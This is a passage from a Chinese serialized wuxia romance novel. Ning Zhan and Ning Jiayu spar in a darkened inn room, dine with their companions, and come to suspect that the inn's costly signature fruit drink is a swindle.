宁展原扶着木框半躺窗沿，将宁佳与标志的眉宇和高朗星夜看得清楚，好不安逸。 宁佳与冷不丁显露完整面容，却打了他一个措手不及。不仅因他未料及宁佳与打算正儿八经以礼致谢，还因那双令漫天璀璨瞬间黯淡的明眸。 较轻功，宁展不如宁佳与；比嘴上戏弄人的功夫，宁展就差得更远了。凭他的口舌，只在对付外人时可称绰绰有余。 宁佳与似乎摸清了宁展这处弱点，南行途中没少变着法捉弄他，有一闻而知、隔靴搔痒的，也有后知后觉、教人恼羞成怒的。 故他本意是调侃宁佳与把谁都当外人的疏离感，倘宁佳与猜中这玩笑话里的谜语，他便小胜一场。如是宁佳与装糊涂，他无非多听几句谢。 现下对方认真询问他要什么答礼，委实把宁展难住了。 他敢肯定，假使自己将来龙去脉说给宁佳与听，对方必先笑他小人之心，再乐他偷鸡不成蚀把米。 那对水汪汪的眼无言等待着回应，里边的晶莹好似即刻要如朝露溜坡般，由秀丽的花瓣落至紫陌红尘。 宁展乱了方寸，恨不能变幻八百分身专门思忖为之奈何。 忽有微乎其微的“嘀嗒”点上前额，他抬手碰，随之又有同样两滴清凉在他手背溅起。 莫非...... 眼泪？但宁佳与岂是会为旁人对她置而不应便落泪的...... 她会吗？ 宁展醒神回望，楼上的人影不见了。 为免行囊累赘，隐士常服宁展光带了这么一身，横竖汴亭城内的青竹暗桩总有代掌阁预备的衣裳。谁知这束衣他换上不足半日，就被满地泥浆祸害差不多了，好在中衣还算干净。 乘舆抵达客栈，约莫酉时初刻。 五人分别入住上房，宁展和宁佳与对客栈或有蹊跷的看法达成一致，于是拎包袱之前将明显与武相关的刀、剑一并留马车内。 在堂倌暗藏监视意味的恭迎下，宁展十分客气地摸出赏钱，当面打发了隐士扮的普通车夫。 宁展佩及唇面具，始终不现真容。 客栈里身份庞杂，其间众多同他这般另作乔装者，面具不稀奇。沐浴后回房独处，他方才揭下。 趁昼长夜短，以宁到后院替宁展晾了中衣。待宁展休整停当，拉开窗扉，宁佳与所见的那轮弯月尚未露面。 简言之，宁展并无身穿亵衣赏景或捡他人之漏的嗜好。 他在窗前站了许久，洞察周遭所有，不放过丝毫动静。即使宁佳与那扇窗悄悄开了，他也听得布巾与头发磨擦的声音。 宁佳与一去不复返，宁展打消通过窗口向上喊话的念头。如今的汴亭他半生半熟，万事都要多个心眼。 宁展早没了对镜装扮的闲心，于是食指由鬓角绕后穿过发间，拨出半束黑发，顺手抓过几案上的束带。 藏青色将那束黑收于颅顶，他脸覆皮革面罩，边往外走边规整衣襟，开门便与手提着木桶、嘴哼小曲儿的景以承撞了个巧。 景以承在浴房泡舒服了，这会儿悠哉悠哉往上房晃，半道碰着世子老师的心情是美上加美。他乐滋滋摆手，敞亮道：“元兄，晚上好——” “好好好，借过。”宁展错开景以承就要出门。 “欸——”景以承手脚并用拦下宁展，既愕然又慎重，轻声道：“元兄，你这......虽说二层是专供男宾的上房，不好裹着亵衣四处走罢......” 景以承言之有故，纵使他们身处二层，凭栏即见上下两层的客人络绎不绝。而门前这围栏扶手又不是什的障眼巫术，他们能看到旁人，旁人自然能看到即将身着亵衣四处跑的无耻之徒。 “元兄，随我来。这边。”景以承换手提桶，抓起宁展的小臂朝自己屋里去。 他回屋阖门，自说自话翻动床上的大包袱，不多时就丢了满床东西，最后展开一身形似袍子的鹅黄，热切道：“你们不提，我都忘了元兄你的衣裳被人捡走了！但无妨！可是急着出门？我那些长衫恐不合元兄的身，如不嫌弃，且先披这斗篷！” “景兄慷慨相助，我感激还来不及，没有挑剔的道理。多谢！” 房中昏暗，二人赶得匆忙，进门没想着点灯。 宁展无暇细看，麻利接过景以承口中的斗篷，近身才了然——所谓斗篷并非他以为的御寒冬衣，却是轻盈柔软，仿佛披一缕凉夜拂起的清风。 他手上系着斗篷的绑带，偶然忆起景以承先前说“我这辈子真正能握在手里的好东西，就是两支狼毫和那块砚台而已”。 接过斗篷时，指尖所触的质感则告诉他，此物不俗。 宁展侧身看向门外，心里仍在琢磨宁佳与不见人影是否是他多虑了，景以承便做出一件更令他百思莫解的事。 “等等等等——”景以承几步挡在宁展身前开始宽衣解带，举手投足是宁展从未在他身上看到的利索。他褪了下身的白裳，认真道：“元兄就那样走了？” 身居高位数载，何等风浪宁展不曾见过？他年方十五封君，便已有不怕死的女史夜半潜入他的寝宫。 瞧着眼前没头没脑的行为，再回溯景以承曾经那句话，他手心都渗了虚汗。 - “元兄，你就是偏好男风，也不必在宦官中择配罢......” - 景以承抱着褪下的白裳靠近，宁展顿觉景以承竟不乏让人望而生畏的本事。他缓步退避，景以承直截把白裳塞进他怀里。 宁展直起腰板，道：“景兄！我不好——” “好男风”三字被景以承吞得彻底：“不害羞？世子老师，你我皆是男子，这种事有什么难为情？” 宁展大惊，心道正因为你我皆是男子才有问题罢！他转念又想，若景以承偏好此道，觉不出这事有问题才是常态...... “景兄，我当真——” “不想端人正士也会口是心非。罢了罢了，害羞便害羞嘛，不打紧，我背着不看就是了。”景以承与宁展拉开距离，爽快转了身，“好，你换。” 宁展握着的白裳，余光瞟见自己融入四面漆黑的亵裤，终于参透景以承的用意。 若宁展枯立不动，披斗篷尚且可以将这身中衣遮掩得当，可跨步走起路，几至贴身的亵裤便让人看光了。宁展紧着上楼，倒是忽略了此处。 误会一场。 景以承拾掇床上乱作一团的行囊，有意无意地念叨：“元兄，从今往后，你我是穿过同一身衣裳的交情了，相互，那是顶好的兄弟。无论行至何处，是福是祸，你可不能抛下兄弟。我没有阿宁说的怕苦，真的。” “这是自然。对了景兄，不知这斗篷是何来历？” 宁展顺口应下，埋头穿戴，不由好奇。 “我观式样很是新巧，面料轻柔，做工精细，想给家中小妹置备些南行的纪念礼带回去。嘉宁夏夜回凉，这斗篷正适合她与闺中密友泛舟游船时披上，免得染风寒，咳喘难捱。” “元兄，我告诉你——”景 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“这有何不可告诉以宁的，”宁展忍俊不禁，“他也没景兄想的那般小气。” “阿宁肯与我冰释前嫌，自是大度。我只怕......”景以承扣着手指，紧张道，“我怕这斗篷，其实是墨姐姐为阿宁做的。离开景安那几日，我决计寻个时机同他言明此事，可他平日压根不搭理我。之后他主动与我讲和，我又张不开口了。现在好容易说得上几句话，因着这斗篷，他一刀送我见阎王怎么办？” “你是景安鼎鼎有名的承仁君，他敢贸然弑君？以宁真有这个豹子胆，莫说我，”宁展理好衣裳，隐晦道，“墨郎中都不会答应的。” 得亏汴亭与永清是依山傍水、风暖日丽的宜居地，到了汴亭，景以承哼小曲儿的气比景安吵嘴时要足。他身子骨弱，出浴后衣履越发单薄，难得没有打战，且兴致勃勃拉着即将出门的宁展追问。 “为何？” 晚春在景安与景以承见的第一面，宁展记忆犹新。 那鹅黄，俨然就是朵开在惠风中的月桂，略有苦味，芬芳更甚；总是摇曳，但独随自己的心而震颤。 景以承为着帮这小忙，拿出惜若至宝的斗篷，则仅是希望宁展把他当作顶好的兄弟。如他前言，几位不期而遇的同行伙伴，是他用真心结交的。 “景兄最喜好的颜色，可是鹅黄？”宁展笑问。 “没错啊。” 景以承不以为意，因为他喜何物、不喜何物，谁来也能瞧出名堂。明摆着的事，何必拎来单论？ “那便是了。” 宁展飘下一句景以承读不懂的答案，亟亟朝三层奔去。 三层上房的木门被叩得砰砰震，幸而客栈施设不单瞧着上乘，还经得起人为破坏。这火急火燎的势头持续了半晌，门扉照旧□□。 一层正堂进酒的高声自入夜便没停过，整座楼宇雀喧鸠聚。 正门匾额上描金的“阆琼”二字比彩灯刺人眼，像花天锦地的镇楼之宝，引得宾客如云。 相较之下，宁展与门扉较劲那点儿动静是极绒球打破锣——闷声无响、不痛不痒，任满楼酩酊轻易淹没。 几欲破壁而入之际，宁展眼前这门扉悄无人息开了道隙缝。 面向未知的黑暗，他没剑可执，眉宇不染惧色，一脚狠狠踹开两侧遮掩！ 正对门扉的桌椅、盆景、半盏茶水，以及几案上散落的赤色发带顷刻暴露无遗。 宁展挥开披风，二话不说往阴影处走，转身便与藏于门后的人殴斗起来。 对方身姿玄似鬼魅，袭无影，避无踪。 打法同是拳脚交加，宁展力道占上风，却被一次次进退有度的触击拉扯。二人手臂即碰即岔，骤然屈起的膝骨和劈枝斩叶的扫腿亦接连相错。 宁展的路数承袭于韩家军正统功夫，个中细节得韩太师亲身指点，单打独斗不说战无不克，至少应付自如。奈何对方一招一式皆似存心威吓，而非要置他于死地的杀招，硬是将他戏弄成了有劲没处使的莽夫。 短短六个回合，宁展逐渐意识到——对方压根不是在陪他过家家！ 他几近僵滞，瞬间任那黑影点住四处穴道，全身唯有手指可以活动。耳畔疾风骤止，旁侧“叮叮”的清脆犹在，他感觉喉间抵上一处圆钝，浑不见鬼魅的真容。 宁展余光瞥向自己被定在肩头的右手，昏暗中，物体雕纹若隐若现。 他尝试曲指，碰到那方握住钝器的温热，好声求和：“大侠，打个商量？” “嗯。”大侠应了声，绝不多给半个音。 “这竹簪算不得瑰宝，却是在下为......为重要之人尽心打制的。平白成了大侠的对敌利器，实在可怜。” 宁展立身不能动，字句注满温情婉转，让人无法推拒。 “好汉侠骨柔肠，可否念在相逢一场，给它个好去处？” 大侠毫不动摇，反而沉声质问：“你不由分说许人一记侠骨柔肠，我若不给，显得我不是人了。” 循着三五招式和寥寥数声，宁展极力辨认对方身份。可他翻遍有限的认知和记忆，找不出一位印象与之吻合的人。 末尾的“了”字，堪与李施在茶楼告诫他的轻重神似。 宁展不着痕迹嗅了嗅，没发现周遭残留丁点儿李施特有的异香，唯有些......他自己身上的皂角味？ 难不成为着杀他，李太保特地去了通身的香？ 89. 胜负 宁展很快弃了这个猜测。 他没有那样大的面子，何况此人肯开口周旋，想来暂时没有将他除之后快的意思。 “你看，误会了不是？在下不过想为簪子讨个人情。大侠此行要的是金银珠宝，也好说。别看我衣着打扮荤素不搭，胜在为人晓事、门道甚广，能耐未必不比某些富商大贾拿得出手。今夜权待大侠开恩，在下定当，感、激、不、尽。” 他将“感激不尽”咬得瓷实，对方若同白日那群流匪是一路人，不会不懂他言下之意。 即图财抑或谋事，宁展都能办妥。 “讨人情？究竟是为簪子讨，还是为人讨。” 那鬼魅的笑意隐在暗处，却衔着无所谓宁展察觉与否的嚣张。 “可惜了，我对金银珠宝没兴趣，无事乐得把玩罢了。你爱玩儿——” 正说着，对方忽将竹簪放入宁展虚握的拳心，音色愈加疲于掩饰、趋向清亮。 “——赠你便是。” 触及拳眼的温热一离开，宁展赶紧抓稳簪杆。他依然无法活动，目光沿面具边缘竭力往身后移，半信半疑道：“小与？” “哎。”她平和应下，效仿宁展明知故问：“原是公子啊？” 入耳的声终于和宁展印象中的宁佳与完全重合。 此番新招旧式齐上阵，宁佳与把一心救人的宁展当猴儿逗；且拿着他为其打制的生辰礼，抵着他的脖颈；临了临了，不忘慷慨，将他亲手送出的东西，“赠”予他。 早知技不如人，不该......贪心招惹。他又输了，输得难堪。 见宁展微缄口无言，倒让宁佳与有些于心不忍。 “公子不唤我姓名，亦不吭声，蛮劲大凿房门。” 宁佳与绕至人前，弹指工夫，隔着斗篷为宁展解了上身四处穴位，视线规避他沉默的质询。 “小女子孤身一人，岂可不设防？胜负乃兵家之常，元公子本是习得武艺、上得疆场之人，何须介怀。” “小女子？”宁展意味深长地重复。解了穴，他仍杵在原地，抓竹簪的拳犹悬肩头，语气却归于平淡：“你何时将柳如殷那套说辞学了去。” 宁佳与非但把宁展的弱点探得大差不离，连宁展指名道姓直呼旁人的缘由也摸清了。 其一，严肃郑重，寻常论事；其二，便是赌气，像现下恼得头顶几欲冒烟。 不过后者实是宁展九岁前及十九岁遇上宁佳与后，偶尔才会出现的状态。抛开少年劫法场那回，世人眼中的嘉宁大殿下向来周到得宜。 “并非是学了柳姐姐......公子？”宁佳与扶着门扉左顾右眄，掩上门猛发觉宁展竖在身边，她自顾自点亮两盏烛灯，“我好像只锁了穴，并未封印脑筋罢。” 宁展随宁佳与沿桌对坐。 他打算输得明明白白，于是单刀直入：“听闻，小与的考绩十分优异。不想轻功、暗器以外，点穴、换声这类考绩范围外的技艺也样样了得。我很好奇，小与还有多少惊世绝俗的本领不为人知。” “没点儿花招，值得堂堂展凌君专门找我拜师学艺？” 宁佳与自认这些小伎俩称不上惊世绝俗，是宁展求学的心昭然若揭。但闻考绩一说，她不禁忧心听雪阁。 “您手下的实力也不容小觑啊，考绩这般密不透风的机要手到擒来。照此发展，江湖上日后有听雪的容身之处吗。” “话不是这么说的。日后天下太平为我掌握，三大阁会如过眼云烟而散，无一例外。再者，我手下亦是血肉之躯，没小与想的神通广大。考绩，”宁展同宁佳与自进屋论到现在，口干舌燥，遂翻开木盘中倒扣的瓷盏，“是由李主事言语所得。” “你不是不爱饮茶么？这就别喝了。”宁佳与轻手挡住宁展动作，神色自然，心里则在念师父捂不好陈年旧事，险些把她的底也兜出去。 宁展不知所谓，只觉嗓子再不沾水即刻要烧起来——他何时同宁佳与提过不爱饮茶了？ 宁展以为又是捉弄人的把戏，难免深愁宿怨一并恼：“小与，你有多恨我？竹簪杀不成，便活活渴死我？” “元公子不爱茶，不爱梅子汤。”宁佳与道，“难道我说错了？” 宁展挑眉。 他的喜好，宁佳与总是一猜一个准。 “......不错。” 如今是深究爱汤爱茶的时候吗？ 宁展缓缓阖眼，左手心叠右手背，捧着竹簪仿佛菩萨拖净瓶，平复心绪。 无功而醒。 “我真要渴死了。” “哦。”宁佳与不紧不慢替宁展斟茶，煞有介事道：“我瞧这客栈的招牌果子露广受盛评，合计自掏腰包，请公子共品琼浆、同进晚膳，以报方才的搭救之恩呢。公子既不领情，那——” “领啊！小与的情，我当然领。” 宁展斩钉截铁道。 看着宁佳与推来清茶寡水，思及一层满堂飘香的美馔佳酿，他登时赞成这渴不是非消不可，顺了气，更有心思关切起宁佳与的腰包。 “情得领，却没有小与为我破费的道理。账我记着，待过几日进城，暗桩一分不少给你结清。” 好容易收着宁佳与这份情，宁展心下比景以承还美。 一分不少？他巴不得立马把账翻番儿结给宁佳与。 然碍于遭劫，嘉宁大殿下不免要做几日阮囊羞涩的破落户。 “公子老拿侠骨柔肠打趣我，自己照是个心软的。怎么，”宁佳与支起下巴，“那布德行善的美事，准您吃肉，不准在下喝汤啊。” 宁佳与埋头谈东、抬头论西的步调，宁展不觉新鲜了，但要分毫不差跟上，难度可见一斑。他思绪尚未理清，肚子咕噜响了。 “什么......汤？” “排骨汤！”宁佳与掩口笑了，“您今日做了不留名姓的散财童子，我请散财童子吃顿饭，顺带沾点儿功德。如此，怎好用旁人的银子？听雪待遇不差，师父和......白歌，待我也好。” 她拎出小钱袋。 “我有积蓄的。” 凭他们的功夫，区区数十流匪不是对手，那些斧头、砍刀更是不足为惧。 重整上路时，几人却对宁展无异于“散财童子”的做法毫无疑问。 他知道自己放任流匪逃窜甚是鲜明，不防这就被点破了。也是，他和宁佳与从头至尾未谈一计，即轻松将那引蛇出洞的戏码唱完了，宁佳与如何不懂他的谋虑呢。 宁展破颜微笑，看向宁佳与披散的长发，道：“你消失不见，是下正堂吩咐人布菜去了？” “嗯......算是罢？”宁佳与两指悠闲地点在桌案， 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指示，即今夜雷打不动的盯梢；安危，则系几人遇劫之前，以宁对宁佳与可疑举动的提防，唯恐宁佳与背后使对宁展不利的绊子。 以宁哪知宁佳与是要和自家殿下唱“引蛇出洞”，故一到客栈关起门就和宁展禀报了此事。 “阿宁心直口快，虽不善推敲人心，处事不会弄虚作假。”宁展徐徐道，“路上，有劳小与多担待了。” 宁佳与却摇头说：“大家同舟共济，应相互理解。我道以宁兄忠心，是不掺杂私见的真心话。” 窗扉早被关了个严实，红烛温流息，屋内不算明亮，也不算凉爽。 “小与纠正得好。” 借着烛灯，宁展隐约看到宁佳与鬓边渗出层薄汗。几缕墨发依附那余光辉映的脸颊，他竟不住伸手，欲将遮挡暖玉的烦恼丝拨至耳后，似认定白璧无瑕。 终究，宁展只是递上竹簪。 “它的好去处，在你那里。” 宁佳与没费心去猜宁展为何僵滞少顷，左不过又是她受之有愧的好意。她接了竹簪，盲分半束长发，挽于颈上两寸，如常道：“多谢。” 宁展被迎头泼来的生分浇醒，奇怪道：“你的折扇呢？” 纵宁佳与平素再随心所欲，不至于披头散发闯入人满为患的正堂。她这模样，定是归来藏身门后，临时起意取发簪作防身物。 “窗纸有桐油的味儿，就想我那扇骨许久未润油了。诺，”宁佳与指向暗处的妆台，“晾着呢。” 无怪她离了窗便忙问正堂席位。 宁展傍晚进屋仔细查过上房，同样发现诸如桐油尤其刺鼻、门窗悄寂不响、盆景片叶未落云云诡异之处——客栈不是因他们下榻才热闹，作为生意红火的店，这一切都太过崭新、完美。 要做到此等地步，得是夜以继日，甚至无时无刻具备让缺漏翻然焕新的本事。耗费的金银数目亦令人难以想象，绝非泛泛之辈能够支撑。 这地方，要么寸土尺金，要么另有古怪。 宁展沉吟片刻，看向门扉。 “我们待会儿在何处用饭？” 宁佳与戳手边的几案，道：“这里。” “啊？”宁展莫名打直了身板，“不妥罢......” 90. 玉露 “有何不——” 宁佳与话音未完，柳如殷的叫门声轻悠悠递至屋内。 她没有犹豫，边应边起身，长发随行扬起半圈弧形，几点凉意溘然与宁展重逢。 凉意依旧落于手背，宁展视线追着宁佳与背影，其间抬臂轻嗅。 原非夺眶而出的眼泪，是解语花的霜；亦非他身上的皂角，是宁佳与发梢的木槿叶[1]。 围廊强光劈门侵袭，宁展不适地虚掩双目。 来者鱼贯涌入，不止柳如殷。 为着布菜，堂倌包围长案。个个手脚麻利，脸蛋、衣着光洁，且趁空给端坐一侧的宁展哈腰见礼，行事无不周全。 宁展扶了扶面具，微笑颔首。 领头的堂倌找上宁佳与，弓身交差：“贵客，您吩咐的珊瑚桂鱼、汴州烧肉、烝烛豆泥、牛肉细面、排骨藕汤......” 宁展闻声愣怔，宁佳与适间并不是以“排骨汤”逗他不明其言——竟真有排骨汤？ 众堂倌恭敬请示宁佳与后，上房外间布满十盏明灯。 此灯和宁佳与随手点的黄蜡不同，名贵的雕花红烛作内里，上好的绢纱作穗子，加之数量，寓意十全十美。 依他们说，这是掌柜自费，表示对贵客的欢迎。 然如此昂贵的欢迎，却不单为他们这些于上房用饭的客人配设。 宁展从二层奔赴三层，途中留意到诸多其主久坐正堂、其舍空无一人的房中也亮着十盏华灯，不可谓不奢侈。 少数的例外，则不是因贵客未至挂着预留门牌，就是夜色将起人便早早歇下、无须点灯的屋子。 堂倌全程低眉垂眼，手上一气呵成，不消使唤自觉退至门外静候。 “这便是咱们阆琼最抢手的‘冰清玉露’。” 领头的呈上六坛陶罐，约成人头颅大小。他独立案旁，为三位介绍那誉高满楼的果子露。 “此招牌，萃其珍稀纯露，取仙露琼浆之‘露’；以时令鲜果为原料，取不假雕饰之‘玉’；夏作碎晶、冬作温茶打底，取消乏解腻之‘冰’；无花蜜、无蔗饴，仅辅以银丹草[2]调和，取淡雅绝俗之‘清’。” 众人脚下“噔噔噔”的闷响由远及近，逐渐盖过冰清玉露的由来。 “小——”景以承在宁佳与房门前倏尔刹住声音和脚步，屋内人、事、物一股脑把他眼底挤满。面色乍青乍白，他干笑着提衫往里进，语无伦次道：“哈哈，哈哈。大伙儿都在，都在好，都在好。” 堂倌识趣拱手，告退：“小的不打搅贵客们用饭。望谨记小店成规，预祝各位吃好喝好，玩得尽兴。” 闻及“成规”二字，景以承想起其中“专爱食人眼球的恶犬”，登时连打几个寒战。待柳如殷闭紧房，围廊映上麻纸的人影退了，他泥鳅一样滑进与宁展同侧的圈椅，惊魂甫定。 “元兄你在这儿啊！我四处寻你不得，实在害怕，只好来求——来瞧瞧二位姑娘是否安好。” “安好么？”宁展看着对面的宁佳与，附和道，“二位姑娘。” 这话他方才就想问，和景以承问的意思却不同。 “沐浴更衣浑身轻，好得不能再好了。”宁佳与收了案边散落的赤色发带，招呼柳如殷坐她右边。 她正要捡起景以承口中被宁展忽略的事，抬眼对上宁展不依不饶的目光，遂与柳如殷相视一笑。 “做什么？”宁佳与道，“公子连女儿家叙话的内容也想打听？” 宁展堪听宁佳与决计在此用饭，柳如殷紧着领人上门布菜，显然二人预先商量了。他问的就是除此之外，宁佳与和柳如殷还干过什么其余三个不知的“好事”，才没心思打听她们张嘴胡诌的托词。 再者，先前他为遮掩被各式玩笑打趣的局促，假借规矩劝宁佳与多少执点儿礼，宁佳与又何曾搭理他？这时倒乘风使舵，一口一个“小女子”“女儿家”。 在宁展脸色憋成珊瑚桂鱼之前，宁佳与见好就收。 她挥动那抹赤色，笑道：“柳姐姐替我洗净束带，上门归还。念大家尚未用饭，我与柳姐姐同道下正堂瞧了眼食谱，最后拍板付银子。仅此而已。” 许是担忧宁展白日没关注那束带行踪，柳如殷添补道：“与姑娘的束带给我擦脸了，我洗净奉还。” 宁展照常颔首，不予置评，话锋转向景以承：“景兄寻我？” “——哦，对！” 景以承猛拍几案，复又“唉哟唉哟”地缩手，眼瞟满屋华灯。 “元兄啊，你离开没多会儿，我房里来了许多布置这些烛灯的人，道是非得燃至子时初刻才能熄，怪得很！我本想去你那屋候着，等你回来再看怎么处置，可你房里也是大灯十盏！上邪呀，红通通的空屋子，并着成规的‘恶犬’，光想就瘆死人了！” 因景以承声情并茂的诉苦，宁展多扫了周围的灯盏几眼。 他不似景以承那般深信鬼神之说，兼目前观，所谓恶犬未必不是为防客人不守成规，震慑人心的无稽之谈——无论沿途抑或客栈，几人从未碰见一只狗，更未听到丁点儿犬吠。 荒郊野岭的地界，周围再无屋舍，踏过黄土即茫茫密丛。恶犬不是神出鬼没的幽冥，恐怕没有昼伏夜行、凭空乍现的能耐。 故宁展不理解究竟哪里瘆死人，但也好言安抚：“此灯乃掌柜赠予客人的心意，是谓十全十美的祝福。他们没与你讲明白？” “讲是讲了......” 景以承恹恹拿起自己的筷著，一手一根，看得出神。 “就是没听过汴亭有这般不讲道理的祝福。比之祝福，更像做法、或是某种......诅咒？” “那是专供景安、汴亭王室的雕花红烛，少说三百文一柱，十盏灯便是三两银子，仅次于嘉宁、墨川、永清五百文一柱的龙凤宝蜡。”宁展道，“客栈四十余间上房，每日单点灯就要点掉近一百三十两银，寻常人如何下得这般昂贵的诅咒？” “啊......”景以承咬着其中一根筷箸，如小狗磨牙，困惑道：“是我曲解了人家的好意？欸，阿宁呢？” 柳如殷抬眼，却没正视谁。 宁展将那来头不小的冰清玉露拎来一坛细瞧，平淡道：“在下边儿盯梢。” “哪边儿？”景以承松了牙，脑袋耸到宁展眼下，挡掉大半坛冰清玉露，“我寻人时为何没遇着？” 宁展好笑道：“若是轻易就让景兄碰着，阿宁这饭碗早晚得丢。” “老师？！”景以承深吸气，“你岂能如此痛击学生的心？” “术业有专攻，人各有所长嘛。”宁展挪开景以承的脑袋，“景兄那一手鸾翔凤翥的字，不就是阿宁无法匹敌的？” 论景以承功夫不济，那是当着景以承的面，宁展直白些；论以宁仿若鸡爪的“墨宝”，看在以宁不在场，道“无法匹敌”是给足了面子，实为一塌糊涂才对。 至于令人三番五次心气不顺的家伙，面子......不给也罢。宁展腹诽。 “放心，我托那位管事的给以宁兄单独送了两份晚饭，是可口、饱腹的菜式，没挑明另一位的存在。”宁佳与说着，拿过其中一坛果子露琢磨，“趁鲜，大家先吃罢。” 景以承用饭既斯文又随意，嘴塞得多么满，仍坚持细嚼慢咽。 而柳如殷虽是言语间最安静的人，但说斯文不准确，该说拘谨。哪怕让她手中玉箸去碰清脆的瓷碗，亦然无声。 陶罐口封着红布，宁佳与揭布细嗅，肉眼比对自己这坛与宁展倒入杯中的玉液有何异同，不急动筷。 一时半刻，外间独剩宁展“哗哗”斟果露的动静。四只青翠的折腰杯被他分别满上七八分，其中三杯依次递与在座。 景以承接过杯盏便要任透白的果露往肚里进， “稍等。”宁展及时拦下，扶起自己掌间的折腰杯昂首饮尽。 景以承目瞪舌僵，脑海浮现卫子昀家中以宁抢在宁展身前探机关的回忆。若是教以宁瞧见宁展为他试毒，牵匹马儿将他连夜丢回景安算轻了。 宁展停杯迅速，果露则是慢慢抿了。 他抬起按住景以承的手，道：“无大碍，喝罢。” 景以承讪讪饮下小口。 师父极善药与毒，然宁佳与自己这方面至今是半瓶子醋。盖因李施什么都肯教她，只此一处绝口不提、吝啬非常。能配治得怪血病的奇药，是她尽力了。 见宁展对空口验毒胸有成竹，宁佳与拎起第二坛果露给宁展重新满上，道：“再尝尝这杯？” 柳如殷执勺浅尝排骨汤，觉得的确鲜美。虑及盯梢时到底不方便用碍事的汤汤水水，她拨动别匙，搅品锅上方升起团团热气，欲留出一份美味。 宁展中过宁佳与不少圈套，暂不计较竹簪抵上脖颈的钝感犹在，乍来这么一杯诡饮，即使宁佳与神色无比诚恳，他握杯的食指不由得随眼睫颤了颤。 可元家人自古怕的不是死，是以宁展没看对座热浪翻涌后模糊的眸，无言饮下。 柳如殷盛了骨汤置于手边，空中余热已 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景以承则想退回自己对离枝水儿——哦不，对冰清玉露不以为意的态度。 “猜不出来罢？”宁佳与放下味道与前一杯毫无二致的果露，笑眯眯道：“我也猜不出来。就知道这里边，唯有一坛是六十文，余下每坛皆为六十两。” “看样子，小与在听雪非但没吃亏，且赚得盆满钵满。”宁展瞥了眼宁佳与颈后总值七两银子的生辰礼，忽觉自己还不及那个装蒜的待她好。 宁佳与注意到宁展近乎要抽走竹簪的眼神，直到宁展又在暗自贬低那份其实于她很珍贵的诚意。 有钱，金钗银簪、霓裳羽衣、瑶台阆院，什么买不到？对她而言，那是生前的琳琅，死后即如崩坏的串珠朝八方逃窜，一发不可收拾。 富贵荣华，不定落入哪位看客垂涎已久的囊袋，或跟着原主葬入冷冰冰的棺材。触及真心炙热的人撒手尘寰之际，念念不忘的，不是这些。 至少宁佳与死前，念的定不是这些。 但宁展并未真的取走竹簪，宁佳与也不必为那份诚意多加甘言巧词。赤珠仍在她发间生辉，不虞之隙涣然冰释。 这是金玉不换的默契。 “元公子想哪儿去了，听雪何来那样赚大钱的肥差？今日这三百两银子，”宁佳与往碗里舀了几勺豆泥，语调轻快，“可是师父留与我的嫁妆。” “既是嫁妆，别教那些黑心的东西诓去。”柳如殷放下筷箸，握住宁佳与的手背，“我们这就下去，要他把不该吃的吐出来。” “欸不不不，等等！” 宁佳与不知自己的嫁妆点到了柳如殷哪处穴位，双脚差点儿被其起身一拉带离地面。她瞟见宁展蓄势待发，心道外患重重绝不能窝里斗，赶紧将柳如殷挽回圈椅，声气放轻放缓。 “我私以为，那果子露有古怪，是以六十两银子得花。古怪之处尚未可知，切莫打草惊蛇呀柳姐姐。” “......好。”柳如殷固然瞧出些古怪，却为宁佳与感到不值。她自知身为外人不当左右此事，拾起筷箸，不再插嘴。 气氛骤降，景以承搁下好容易吹凉的牛肉面先打圆场：“古怪？无非是贪财，还有旁的什么古怪？” “当然有。” 宁佳与若有似无观察宁展脸色。 “我与柳姐姐翻食谱，不见所谓招牌，直至到钱柜惠钞，掌柜才同我们介绍两种价钱天悬地隔的果子露，建议住店人手一坛。问他二者分别，他道是毫无分别，又说六十两银可求个出行吉利——周遭不太平，往来过客大都为这颇为灵验的‘吉利’买账。” 景以承扭头一“呸”，忿忿咬牙：“我是晓得这许多大灯笼如何使得起了！那灯下燃的哪是雕花烛，是诓百姓脂膏烧与他们的赃银！这般鱼肉乡里的奸商生意做得如日中天，汴州没王法了！” “缙王自顾不暇，难免用心险恶之人钻空子。这客栈，怕只是九牛一毛。” 宁展打手势提醒景以承压低音量，直勾勾回应宁佳与的观察。 “虽为招牌，却没有招牌。这黑心钱，他们不敢明着抢。” 什么招牌不招牌的？景以承没转过弯，宁展便收了声。 几人循宁展视线看，门上透着围廊彩灯的麻纸映入一道影。 人形清晰，叩门声起。 91. 丘貉 “与姑娘，不知我家公子可在此处？” 是以宁的声音。 除宁展以外，屋内三人同时松了口气。宁佳与正欲起身，宁展则抬手示意她不必动，继而径自绕出圈椅应门。 碍于今朝被蛇咬，宁展唯恐对方又是个阴招了得的假嗓子，并未直截放人。 他贴近门扉，半边面颊现出阴恻侧的意味，手腕转动似是下一刻就能捏断不速之客的喉咙，脱口的话却让人匪夷所思。 “天王盖地虎？” 门外之人显然身形忽顿，犹犹豫豫地轻声答：“......其实打鼫鼠[1]。” 宁展会心一笑，开门将人扯了进来，再迅速关紧。 以宁才说完那五岁小儿都瞧不上眼的暗语，迎面便撞见三人投来各色各样的目光。尤其在对上柳如殷的瞬间，他巴不得蒙头扎进品锅的热汤里。 宁佳与首先没忍住，乐得两手并用也没掩住满面嘻笑。她捧腹看着宁展催促以宁于其身旁入座，饶有兴趣道：“这就是青竹暗语？” “不是。”以宁肃然危坐。 宁展故作不满地咳一声。 “既嫌弃我取的暗号，又为何至今记得一字不差？”他提箸往自己的空碗添鱼和烧肉，反手却把碗和以宁面前的碗换了，复从竹筒里抽一双新筷搭上，没好气道：“吃！” 那十字诨话，乃是五岁的嘉宁大殿下在墨川被罚过家法，回到宫中气急败坏之下所取，但仅说与将将同他冰释前嫌的以宁知道。待两人的屁股好全了，相互没再提及此话。 宁展心血来潮一对，倒是意外以宁还能接上。 “属下不敢忘。”以宁正儿八经回应完，自然动筷吃菜。 身为下属，不单与主子同席而坐，且享主子服侍心安理得。背道而驰的言语和动作流畅衔接，令旁人读不懂他究竟有何不敢。 景以承听以墨谈过元氏之于以家的恩情，先前以为宁展和以宁只是君臣相得的主从关系——宁展谦恭下士，以宁尽忠职守。 如今了然二人交情如此，他这才瞧见中间系着丝不是手足、胜似手足的线。而他又与宁展是同穿一裳的好兄弟，这般说来，他这兄长以宁就是不认也得认了！ 景以承越想越高兴，一面跟宁佳与呵呵笑，一面好奇道：“‘天王’是指元兄吗？那‘地虎’和‘鼫鼠’呢？” 宁展给自己满上那天价的离枝水儿，从容道：“看似地虎，实则鼫鼠之人，景兄以为是谁？” 